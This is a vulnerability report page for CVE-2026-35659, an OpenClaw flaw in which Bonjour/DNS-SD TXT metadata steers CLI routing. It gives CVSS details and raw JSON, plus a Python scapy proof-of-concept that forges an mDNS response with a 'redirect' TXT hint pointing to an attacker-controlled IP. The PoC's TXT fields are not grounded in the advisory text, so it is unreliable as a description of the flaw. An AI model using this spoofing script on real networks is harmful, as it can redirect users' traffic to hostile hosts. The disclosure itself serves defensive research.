Security Vulnerability Report
中文
CVE-2026-35659 CVSS 4.6 MEDIUM

CVE-2026-35659

Published: 2026-04-10 17:17:07
Last Modified: 2026-04-13 19:21:30

Description

OpenClaw before 2026.3.22 contains a service discovery vulnerability where TXT metadata from Bonjour and DNS-SD could influence CLI routing even when actual service resolution failed. Attackers can exploit unresolved hints to steer routing decisions to unintended targets by providing malicious discovery metadata.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.3.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import scapy.all as scapy from scapy.all import * # Configuration for the malicious PoC MALICIOUS_TARGET_IP = "192.168.1.100" # Attacker controlled IP SERVICE_INSTANCE = "_openclaw._tcp.local" HOSTNAME = "malicious-host.local" # Construct a fake mDNS response (DNS-SD) def build_malicious_mdns_packet(): # Ethernet layer eth = Ether(dst="01:00:5e:00:00:fb") # Multicast MAC for mDNS # IP layer ip = IP(dst="224.0.0.251") # Multicast IP for mDNS # UDP layer (port 5353) udp = UDP(dport=5353, sport=5353) # DNS layer # Transaction ID: 0x0000 (standard for mDNS) # Flags: Response (0x8000), Authoritative (0x0400) dns = DNS(id=0x0000, qr=1, aa=1, rd=0, ra=0, z=0, ad=0, cd=0, qdcount=0, ancount=2, nscount=0, arcount=1) # Answer 1: PTR Record pointing to our service instance ptr_answer = DNSRR(rrname=SERVICE_INSTANCE, type="PTR", ttl=4500, rdata=f"OpenClaw Instance.{SERVICE_INSTANCE}") # Answer 2: TXT Record containing the malicious routing hint # This TXT record includes metadata that OpenClaw uses for CLI routing # even if the A record resolution fails later. txt_data = b"path=/admin\x00redirect=" + MALICIOUS_TARGET_IP.encode() txt_answer = DNSRR(rrname=f"OpenClaw Instance.{SERVICE_INSTANCE}", type="TXT", ttl=4500, rdata=txt_data) # Additional Section: SRV Record (pointing to a hostname likely to fail resolution) # We use a non-resolvable hostname to simulate the "unresolved hint" scenario srv_record = DNSRR(rrname=f"OpenClaw Instance.{SERVICE_INSTANCE}", type="SRV", ttl=4500, rdata=f"0 0 8080 {HOSTNAME}") dns.answers = [ptr_answer, txt_answer] dns.ar = srv_record packet = eth / ip / udp / dns return packet # Send the malicious packet if __name__ == "__main__": print(f"[*] Sending malicious mDNS packet for {SERVICE_INSTANCE}...") packet = build_malicious_mdns_packet() sendp(packet, iface="eth0", verbose=1) print("[+] Packet sent. If OpenClaw processes this, it may route based on the TXT hint.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35659", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:07.277", "lastModified": "2026-04-13T19:21:30.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.22 contains a service discovery vulnerability where TXT metadata from Bonjour and DNS-SD could influence CLI routing even when actual service resolution failed. Attackers can exploit unresolved hints to steer routing decisions to unintended targets by providing malicious discovery metadata."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-345"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.22", "matchCriteriaId": "80A4431B-25A7-43D7-9618-5E37E4359DB5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/630f1479c44f78484dfa21bb407cbe6f171dac87", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/commit/deecf68b59a9b7eea978e40fd3c2fe543087b569", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rvqr-hrcc-j9vv", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-unresolved-service-metadata-routing-via-bonjour-and-dns-sd-discovery", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}